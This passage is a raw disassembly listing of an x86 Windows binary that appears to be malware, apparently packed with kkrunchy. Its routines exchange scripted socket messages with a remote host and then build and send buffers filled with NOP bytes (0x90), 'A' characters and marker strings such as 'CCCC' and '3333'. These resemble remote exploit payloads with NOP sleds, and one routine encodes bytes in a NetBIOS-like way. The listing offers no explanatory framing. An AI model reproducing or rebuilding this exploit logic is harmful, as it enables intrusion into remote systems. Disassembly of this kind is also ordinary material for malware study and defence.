48h add edi, 3Ch push 30h lea eax, [edi+esi] push offset dword_41580C push eax call sub_4114D0 ; memcpy mov eax, [ebp+arg_8] add esp, 0Ch add edi, 30h dec eax lea ecx, [esi+394h] jz short loc_40BDF7 dec eax jz short loc_40BDEE dec eax jz short loc_40BDE5 call sub_40B4C3 test eax, eax push 4 jz short loc_40BDD7 push offset dword_41584C jmp short loc_40BDDC ; --------------------------------------------------------------------------- loc_40BDD7: ; CODE XREF: sub_40BCBD+111j push offset dword_415850 loc_40BDDC: ; CODE XREF: sub_40BCBD+118j lea eax, [esi+394h] push eax jmp short loc_40BDFF ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BCBD+106j push 4 push offset dword_415848 jmp short loc_40BDFE ; --------------------------------------------------------------------------- loc_40BDEE: ; CODE XREF: sub_40BCBD+103j push 4 push offset dword_415844 jmp short loc_40BDFE ; --------------------------------------------------------------------------- loc_40BDF7: ; CODE XREF: sub_40BCBD+100j push 4 push offset dword_415840 loc_40BDFE: ; CODE XREF: sub_40BCBD+12Fj ; sub_40BCBD+138j push ecx loc_40BDFF: ; CODE XREF: sub_40BCBD+126j call sub_4114D0 ; memcpy mov eax, [ebp+arg_0] add esp, 0Ch lea eax, [ebx+eax+30h] lea ecx, [eax-0Ch] add [esi+8], ecx lea ecx, [eax-0Ch] add [esi+10h], ecx lea ecx, [eax-0Ch] add [esi+80h], ecx lea ecx, [eax-0Ch] add [esi+84h], ecx lea ecx, [eax-0Ch] add [esi+0B4h], ecx lea ecx, [eax-0Ch] add [esi+0B8h], ecx lea ecx, [eax-0Ch] add [esi+0D0h], ecx lea ecx, [eax-0Ch] add [esi+18Ch], ecx cdq sub eax, edx sar eax, 1 add [esi+360h], eax add [esi+368h], eax mov eax, edi pop edi pop esi pop ebx leave retn sub_40BCBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE68 proc near ; DATA XREF: kkrunchy:00417E00o var_1B68 = byte ptr -1B68h var_B68 = byte ptr -0B68h var_968 = byte ptr -968h var_960 = dword ptr -960h var_958 = dword ptr -958h var_950 = byte ptr -950h var_90C = byte ptr -90Ch var_8EC = byte ptr -8ECh var_8E8 = byte ptr -8E8h var_8E4 = byte ptr -8E4h var_8E0 = byte ptr -8E0h var_8DC = byte ptr -8DCh var_884 = byte ptr -884h var_87E = byte ptr -87Eh var_876 = byte ptr -876h var_872 = byte ptr -872h var_86E = byte ptr -86Eh var_868 = byte ptr -868h var_168 = byte ptr -168h var_7C = byte ptr -7Ch var_72 = byte ptr -72h var_6E = byte ptr -6Eh var_36 = byte ptr -36h var_32 = byte ptr -32h var_2E = byte ptr -2Eh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B68h call sub_411540 push esi push edi mov edi, [ebp+arg_0] push 48h push offset dword_41585C push dword ptr [edi+3Eh] call sub_403D9D push 0EA60h push dword ptr [edi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C131 xor esi, esi lea eax, [ebp+var_1B68] push esi push 1000h push eax push dword ptr [edi+3Eh] call dword_412258 ; recv push 7 push offset dword_415854 push dword ptr [edi+2Ah] lea eax, [edi+146h] push eax lea eax, [edi+0C6h] push eax lea eax, [ebp+var_B68] push dword ptr [edi+0C2h] push 200h push eax call sub_40E399 add esp, 20h cmp eax, esi mov [ebp+arg_0], eax jz loc_40C131 push ebx mov ebx, 168h loc_40BEFC: ; CODE XREF: sub_40BE68+A9j push 7Ah push 61h call sub_40B459 mov [ebp+esi+var_168], al inc esi pop ecx cmp esi, ebx pop ecx jl short loc_40BEFC push 0Ah lea eax, [ebp+var_7C] push offset loc_41594C push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp+var_72] push offset loc_41599C push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_6E] push offset loc_415994 push eax call sub_4114D0 ; memcpy push 2 lea eax, [ebp+var_36] push offset loc_415998 push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_32] push (offset loc_41598F+1) push eax call sub_4114D0 ; memcpy push 0Bh lea eax, [ebp+var_2E] push offset loc_415940 push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_968] mov esi, 3E6h sub esi, [ebp+arg_0] push 18h push offset dword_4158A8 push eax call sub_4114D0 ; memcpy push 44h lea eax, [ebp+var_950] push offset dword_4158C4 push eax call sub_4114D0 ; memcpy push 20h lea eax, [ebp+var_90C] push 0FFFFFF90h push eax call sub_4114E8 ; memset push 4 lea eax, [ebp+var_8EC] push offset loc_415958 push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_8E8] push offset loc_41598C push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_8E4] push offset dword_415984 push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_8E0] push 4 push offset loc_415988 push eax call sub_4114D0 ; memcpy push 58h lea eax, [ebp+var_8DC] push 0FFFFFF90h push eax call sub_4114E8 ; memset push 6 lea eax, [ebp+var_884] push offset loc_415960 push eax call sub_4114D0 ; memcpy push 8 push 0FFFFFF90h lea eax, [ebp+var_87E] push eax call sub_4114E8 ; memset push 4 lea eax, [ebp+var_876] push offset loc_415968 push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_872] push 0FFFFFF90h push eax call sub_4114E8 ; memset add esp, 48h lea eax, [ebp+var_86E] push 6 push offset loc_415970 push eax call sub_4114D0 ; memcpy push esi lea eax, [ebp+var_868] push 0FFFFFF90h push eax call sub_4114E8 ; memset push [ebp+arg_0] add esi, 100h lea eax, [ebp+var_B68] push eax lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, [ebp+arg_0] lea eax, [ebp+var_168] push ebx push eax lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, ebx push 0Ah push offset off_415978 lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, 0Ah push 32h push offset dword_41590C lea eax, [ebp+esi+var_968] push eax call sub_4114D0 ; memcpy add esi, 32h add esp, 48h mov [ebp+var_960], esi lea eax, [esi-18h] push esi mov [ebp+var_958], eax lea eax, [ebp+var_968] push eax push dword ptr [edi+3Eh] call sub_403D9D push 0EA60h push dword ptr [edi+3Eh] call sub_403E1F add esp, 14h test eax, eax pop ebx jz short loc_40C131 push 0 lea eax, [ebp+var_1B68] push 1000h push eax push dword ptr [edi+3Eh] call dword_412258 ; recv loc_40C131: ; CODE XREF: sub_40BE68+33j ; sub_40BE68+88j ... pop edi pop esi leave retn sub_40BE68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C135 proc near ; CODE XREF: sub_40C501+F4p ; sub_40C501+102p ... var_A4F0 = byte ptr -0A4F0h var_A488 = byte ptr -0A488h var_8418 = byte ptr -8418h var_7418 = byte ptr -7418h var_73A8 = byte ptr -73A8h var_68E4 = byte ptr -68E4h var_5340 = byte ptr -5340h var_42AC = byte ptr -42ACh var_37E4 = byte ptr -37E4h var_37E1 = byte ptr -37E1h var_37B7 = byte ptr -37B7h var_37B5 = byte ptr -37B5h var_37B4 = byte ptr -37B4h var_27E4 = byte ptr -27E4h var_2768 = byte ptr -2768h var_1F98 = byte ptr -1F98h var_1AED = byte ptr -1AEDh var_1800 = byte ptr -1800h var_101E = byte ptr -101Eh var_101C = byte ptr -101Ch var_100C = byte ptr -100Ch var_CE8 = byte ptr -0CE8h var_CE4 = byte ptr -0CE4h var_CD8 = byte ptr -0CD8h var_A54 = byte ptr -0A54h var_A50 = byte ptr -0A50h var_9B0 = byte ptr -9B0h var_2A4 = byte ptr -2A4h var_294 = byte ptr -294h var_280 = byte ptr -280h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 0A4F0h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push 7 push offset dword_415854 push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_280] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 mov [ebp+arg_0], eax lea eax, [ebp+var_280] add esp, 20h test eax, eax jz loc_40C4F9 lea eax, [ebp+var_80] push eax lea eax, [esi+42h] push eax call sub_40311D lea eax, [ebp+var_80] push eax call sub_4117A8 ; wcslen mov ebx, eax push 60h lea eax, [ebp+var_37E4] push offset dword_415BB8 push eax shl ebx, 1 call sub_4114D0 ; memcpy lea eax, [ebp+var_80] push ebx push eax lea eax, [ebp+var_37B4] push eax call sub_4114D0 ; memcpy push 9 lea eax, [ebp+ebx+var_37B5] push (offset aC+3) push eax call sub_4114D0 ; memcpy mov al, bl add al, 34h mov [ebp+var_37E1], al mov al, bl add al, 9 add ebx, 38h mov [ebp+var_37B7], al lea eax, [ebp+var_37E4] push ebx push eax push dword ptr [esi+3Eh] call sub_403D9D mov edi, 0EA60h push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 44h test eax, eax jz loc_40C3FE mov ebx, 1000h push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv push 68h push offset dword_415C1C push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C3FE push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv push 0A0h push offset dword_415C88 push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C3FE push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call dword_412258 ; recv mov ebx, [ebp+arg_4] test ebx, ebx jz loc_40C438 push 2 lea eax, [ebp+var_101E] push offset loc_4152CC push eax call sub_4114D0 ; memcpy lea ebx, ds:415FB0h[ebx*4] push 4 lea eax, [ebp+var_101C] push ebx push eax call sub_4114D0 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_100C] push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_CE8] push offset loc_415FBC push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_CE4] push ebx push eax call sub_4114D0 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_CD8] push eax call sub_4114D0 ; memcpy add esp, 48h and [ebp+var_A54], 0 lea eax, [ebp+var_1800] push 0DADh push eax lea eax, [ebp+var_5340] push eax call sub_40588E mov ebx, 1C52h lea eax, [ebp+var_A4F0] push ebx push 31h push eax call sub_4114E8 ; memset push ebx lea eax, [ebp+var_7418] push 31h push eax call sub_4114E8 ; memset push 68h lea eax, [ebp+var_A4F0] push offset dword_415E40 push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_5340] push 1B5Ah push eax lea eax, [ebp+var_A488] push eax call sub_4114D0 ; memcpy push 70h lea eax, [ebp+var_7418] push offset dword_415EAC push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_42AC] push 0A5Eh push eax lea eax, [ebp+var_73A8] push eax call sub_4114D0 ; memcpy push 84h lea eax, [ebp+var_68E4] push offset dword_415F20 push eax call sub_4114D0 ; memcpy push 10FCh lea eax, [ebp+var_A4F0] push eax push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 2Ch test eax, eax jnz short loc_40C405 loc_40C3FE: ; CODE XREF: sub_40C135+E2j ; sub_40C135+11Dj ... xor eax, eax jmp loc_40C4FC ; --------------------------------------------------------------------------- loc_40C405: ; CODE XREF: sub_40C135+2C7j push 0 lea eax, [ebp+var_8418] push 640h push eax push dword ptr [esi+3Eh] call dword_412258 ; recv lea eax, [ebp+var_7418] push 0FDCh push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 0Ch jmp loc_40C4F9 ; --------------------------------------------------------------------------- loc_40C438: ; CODE XREF: sub_40C135+174j push 0E29h lea eax, [ebp+var_27E4] push 31h push eax call sub_4114E8 ; memset mov edi, 7D0h push 0 lea eax, [ebp+var_A50] push edi push eax call sub_40D5A8 push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_9B0] push eax call sub_4114D0 ; memcpy push 4 lea eax, [ebp+var_2A4] push offset dword_415FB0 push eax call sub_4114D0 ; memcpy push 7 lea eax, [ebp+var_294] push offset sub_415FA8 push eax call sub_4114D0 ; memcpy push 7Ch lea eax, [ebp+var_27E4] push offset dword_415D2C push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_A50] push edi push eax lea eax, [ebp+var_2768] push eax call sub_4114D0 ; memcpy push 90h lea eax, [ebp+var_1F98] push offset off_415DAC push eax call sub_4114D0 ; memcpy and [ebp+var_1AED], 0 lea eax, [ebp+var_27E4] push 0CF8h push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 24h loc_40C4F9: ; CODE XREF: sub_40C135+50j ; sub_40C135+2FEj push 1 pop eax loc_40C4FC: ; CODE XREF: sub_40C135+2CBj pop edi pop esi pop ebx leave retn sub_40C135 endp ; =============== S U B R O U T I N E ======================================= sub_40C501 proc near ; CODE XREF: sub_40C501+12Bp ; DATA XREF: kkrunchy:00417E74o var_30 = dword ptr -30h var_1C = byte ptr -1Ch var_C = byte ptr -0Ch arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_1004 = dword ptr 1008h mov eax, 1004h call sub_411540 push ebx push ebp push esi mov esi, [esp+0Ch+arg_1004] xor ebx, ebx push edi cmp [esi+3Eh], ebx mov [esp+10h], ebx mov edi, 0EA60h jnz short loc_40C54B push edi lea eax, [esi+17h] push ebx push eax lea eax, [esi+42h] mov dword ptr [esp+1Ch], 1 push eax call sub_403C04 add esp, 10h cmp eax, ebx mov [esi+3Eh], eax jz loc_40C633 loc_40C54B: ; CODE XREF: sub_40C501+23j push 89h push offset dword_4159A0 push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C633 mov ebp, 1000h push ebx mov ebx, dword_412258 lea eax, [esp+14h+arg_0] push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv push 0A8h push offset dword_415A2C push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz loc_40C633 push 0 lea eax, [esp+24h+var_C] push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv push 0DEh push offset dword_415AD8 push dword ptr [esi+3Eh] call sub_403D9D push edi push dword ptr [esi+3Eh] call sub_403E1F add esp, 14h test eax, eax jz short loc_40C633 xor edi, edi lea eax, [esp+30h+var_1C] push edi push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv cmp [esp+40h+arg_14], 30h jnz short loc_40C60A push 1 push esi call sub_40C135 pop ecx test eax, eax pop ecx jnz short loc_40C60A push 2 push esi call sub_40C135 jmp short loc_40C631 ; --------------------------------------------------------------------------- loc_40C60A: ; CODE XREF: sub_40C501+EFj ; sub_40C501+FDj cmp [esp+40h+arg_14], 31h jnz short loc_40C633 push edi push esi call sub_40C135 cmp [esp+48h+var_30], edi pop ecx pop ecx jnz short loc_40C633 push dword ptr [esi+3Eh] call sub_403D70 push esi mov [esi+3Eh], edi call sub_40C501 loc_40C631: ; CODE XREF: sub_40C501+107j pop ecx pop ecx loc_40C633: ; CODE XREF: sub_40C501+44j ; sub_40C501+6Aj ... pop edi pop esi pop ebp pop ebx add esp, 1004h retn sub_40C501 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0A00h push ebx mov ebx, [ebp+8] push 1 push offset byte_4191D0 push dword ptr [ebx+2Ah] lea eax, [ebx+146h] push eax lea eax, [ebx+0C6h] push eax lea eax, [ebp-0A00h] push dword ptr [ebx+0C2h] push 200h push eax call sub_40E399 add esp, 20h mov [ebp+8], eax test eax, eax jz loc_40C797 push esi push edi push 24h lea eax, [ebp-800h] push (offset loc_415FCA+2) push eax call sub_4114D0 ; memcpy push 210h lea eax, [ebp-7DCh] push 4Dh push eax call sub_4114E8 ; memset push 4 lea eax, [ebp-5CCh] pop edi push edi push offset dword_415FF4 push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5C8h] push offset aCccc ; "CCCC" push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5C4h] push offset loc_415FC4 push eax call sub_4114D0 ; memcpy mov esi, (offset loc_415FC4+4) push edi lea eax, [ebp-5C0h] push esi push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp-5BCh] push edi push esi push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5B8h] push offset a3333 ; "3333" push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5B4h] push esi push eax call sub_4114D0 ; memcpy push edi lea eax, [ebp-5B0h] push esi push eax call sub_4114D0 ; memcpy push 58h lea eax, [ebp-5ACh] push 41h push eax call sub_4114E8 ; memset mov esi, [ebp+8] lea eax, [ebp-0A00h] push esi push eax lea eax, [ebp-554h] push eax call sub_4114D0 ; memcpy add esp, 48h add esi, 2ACh push 5 lea eax, [ebp+esi-800h] push offset dword_415FFC push eax call sub_4114D0 ; memcpy add esi, 5 lea eax, [ebp-800h] push esi push eax push dword ptr [ebx+3Eh] call sub_403D9D add esp, 18h pop edi pop esi loc_40C797: ; CODE XREF: kkrunchy:0040C682j pop ebx leave retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0CD8h push ebx push esi mov esi, [ebp+8] push edi push 7 push offset dword_415854 push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp-6D8h] push dword ptr [esi+0C2h] push 200h push eax call sub_40E399 add esp, 20h mov [ebp-8], eax test eax, eax jz loc_40CA9C push 89h push offset dword_416014 push dword ptr [esi+3Eh] call sub_403D9D mov ebx, 2710h mov edi, 600h push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 0A8h push offset dword_4160A0 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 0DEh push offset dword_41614C push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C mov al, [ebp-0C98h] push 3Eh sub al, 30h push offset dword_41622C push dword ptr [esi+3Eh] mov [ebp-1], al mov al, [ebp-0C94h] sub al, 30h mov [ebp+0Bh], al call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 60h push offset dword_41626C push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C push 0A0h push offset dword_4162D0 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp-0CD8h] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch test eax, eax jz loc_40CA9C cmp byte ptr [ebp-1], 5 push 4 pop ebx jnz loc_40C9FC cmp byte ptr [ebp+0Bh], 1 jnz loc_40C9F6 push 86h lea eax, [ebp-374h] push offset dword_416374 push eax call sub_4114D0 ; memcpy mov edi, [ebp-8] lea eax, [ebp-6D8h] push edi push eax lea eax, [ebp-2EEh] push eax call sub_4114D0 ; memcpy mov eax, 2C4h push 0 sub eax, edi push eax lea eax, [ebp+edi-2EEh] push eax call sub_40D5A8 push ebx lea eax, [ebp-8Ah] push offset dword_4164D4 push eax call sub_4114D0 ; memcpy mov edi, offset dword_4164CC push ebx lea eax, [ebp-7Eh] push edi push eax call sub_4114D0 ; memcpy push ebx lea eax, [ebp-5Ah] push edi push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp-4Eh] push ebx push edi push eax call sub_4114D0 ; memcpy push 20h lea eax, [ebp-2Ah] push offset dword_4163FC push eax call sub_4114D0 ; memcpy mov edi, 36Ah lea eax, [ebp-374h] push edi push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 24h push 400h call dword_4120A4 ; Sleep lea eax, [ebp-374h] push edi push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 0Ch jmp loc_40CA9C ; --------------------------------------------------------------------------- loc_40C9F6: ; CODE XREF: kkrunchy:0040C926j cmp byte ptr [ebp+0Bh], 0 jz short loc_40CA05 loc_40C9FC: ; CODE XREF: kkrunchy:0040C91Cj cmp [ebp-1], bl jnz loc_40CA9C loc_40CA05: ; CODE XREF: kkrunchy:0040C9FAj push 86h lea eax, [ebp-4D8h] push offset dword_416420 push eax call sub_4114D0 ; memcpy mov eax, 3E8h sub eax, [ebp-8] push eax lea eax, [ebp-452h] push 90h push eax call sub_4114E8 ; memset push dword ptr [ebp-8] lea eax, [ebp-6D8h] push eax lea eax, [ebp-6Ah] sub eax, [ebp-8] push eax call sub_4114D0 ; memcpy lea eax, [ebp-6Ah] add esp, 24h mov [ebp+8], eax mov dword ptr [ebp-8], 10h mov edi, offset dword_4164CC loc_40CA60: ; CODE XREF: kkrunchy:0040CA73j push ebx push edi push dword ptr [ebp+8] call sub_4114D0 ; memcpy add [ebp+8], ebx add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40CA60 push 20h lea eax, [ebp-2Ah] push offset dword_4164A8 push eax call sub_4114D0 ; memcpy lea eax, [ebp-4D8h] push 4CEh push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 18h loc_40CA9C: ; CODE XREF: kkrunchy:0040C7E1j ; kkrunchy:0040C819j ... pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAA1 proc near ; CODE XREF: kkrunchy:0040CD98p ; kkrunchy:0040CDA6p var_2208 = byte ptr -2208h var_21FF = byte ptr -21FFh var_1208 = byte ptr -1208h var_1205 = byte ptr -1205h var_11DB = byte ptr -11DBh var_11D8 = byte ptr -11D8h var_10D8 = byte ptr -10D8h var_980 = byte ptr -980h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2208h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_208] push dword ptr [esi+0C2h] push 200h push eax call sub_40E2C1 add esp, 18h mov [ebp+var_8], eax test eax, eax jz loc_40CD8D push 89h push offset dword_4164DC push dword ptr [esi+3Eh] call sub_403D9D mov ebx, 0EA60h mov edi, 1000h push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 0A8h push offset dword_416568 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D push 0DEh push offset dword_416614 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 30h lea eax, [ebp+var_1208] push offset dword_4166F4 push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_11D8] push eax lea eax, [esi+42h] push eax call sub_40311D lea eax, [eax+eax-2] push 1 lea ecx, [eax+30h] add eax, 9 mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_11DB] push eax mov [ebp+arg_0], ecx call sub_4114D0 ; memcpy mov eax, [ebp+arg_0] push 8 push offset dword_416728 lea eax, [ebp+eax+var_1208] push eax call sub_4114D0 ; memcpy add [ebp+arg_0], 8 push 1 mov eax, [ebp+arg_0] add eax, 0FFFFFFFCh mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1205] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_1208] push eax push dword ptr [esi+3Eh] call sub_403D9D add esp, 44h lea eax, [ebp+var_2208] push ebx push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 6Ah push offset dword_416734 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 0A0h push offset dword_4167A0 push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40CD8D cmp eax, 0Ah jbe loc_40CD8D cmp [ebp+var_21FF], 0 jnz loc_40CD8D push 0 lea eax, [ebp+var_1208] push 894h push eax call sub_40D5A8 add esp, 0Ch cmp [ebp+arg_4], 0 push 130h jnz short loc_40CD28 push offset dword_416844 jmp short loc_40CD2D ; --------------------------------------------------------------------------- loc_40CD28: ; CODE XREF: sub_40CAA1+27Ej push offset dword_416978 loc_40CD2D: ; CODE XREF: sub_40CAA1+285j lea eax, [ebp+var_1208] push eax call sub_4114D0 ; memcpy add esp, 0Ch lea eax, [ebp+var_208] push [ebp+var_8] push eax lea eax, [ebp+var_10D8] push eax call sub_4114D0 ; memcpy push 0Ch lea eax, [ebp+var_980] push offset dword_416AAC push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_1208] push 894h push eax push dword ptr [esi+3Eh] call sub_403D9D push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DF6 add esp, 34h loc_40CD8D: ; CODE XREF: sub_40CAA1+43j ; sub_40CAA1+7Cj ... pop edi pop esi pop ebx leave retn sub_40CAA1 endp ; --------------------------------------------------------------------------- push 0 push dword ptr [esp+8] call sub_40CAA1 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_40CDA0: ; DATA XREF: kkrunchy:00417EE8o push 1 push dword ptr [esp+8] call sub_40CAA1 pop ecx pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40CDAE proc near ; CODE XREF: sub_40CEBE+12Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi xor esi, esi cmp [esp+4+arg_4], esi jbe short loc_40CDDD mov edx, [esp+4+arg_8] loc_40CDBB: ; CODE XREF: sub_40CDAE+2Dj mov eax, [esp+4+arg_0] mov cl, [esi+eax] mov al, cl and cl, 0Fh shr al, 4 add cl, 41h add al, 41h mov [edx], cl mov [edx+1], al inc esi inc edx inc edx cmp esi, [esp+4+arg_4] jb short loc_40CDBB loc_40CDDD: ; CODE XREF: sub_40CDAE+7j pop esi retn sub_40CDAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDDF proc near ; CODE XREF: sub_40CDDF+CDp ; sub_40CEBE+4DCp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40CDF3 or [ebp+arg_7], 1 jmp short loc_40CDF7 ; --------------------------------------------------------------------------- loc_40CDF3: ; CODE XREF: sub_40CDDF+Cj and [ebp+arg_7], 0FEh loc_40CDF7: ; CODE XREF: sub_40CDDF+12j mov ebx, [ebp+arg_20] mov eax, [ebp+arg_24] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_40CE18 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40CE2A ; --------------------------------------------------------------------------- loc_40CE18: ; CODE XREF: sub_40CDDF+23j mov [ebp+arg_C], ax add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40CE2A: ; CODE XREF: sub_40CDDF+37j movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_4114C4 ; malloc test eax, eax pop ecx mov [ebp+arg_20], eax jnz short loc_40CE43 loc_40CE3F: ; CODE XREF: sub_40CDDF+A4j xor eax, eax jmp short loc_40CEB9 ; --------------------------------------------------------------------------- loc_40CE43: ; CODE XREF: sub_40CDDF+5Ej push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_4114D0 ; memcpy add esp, 0Ch 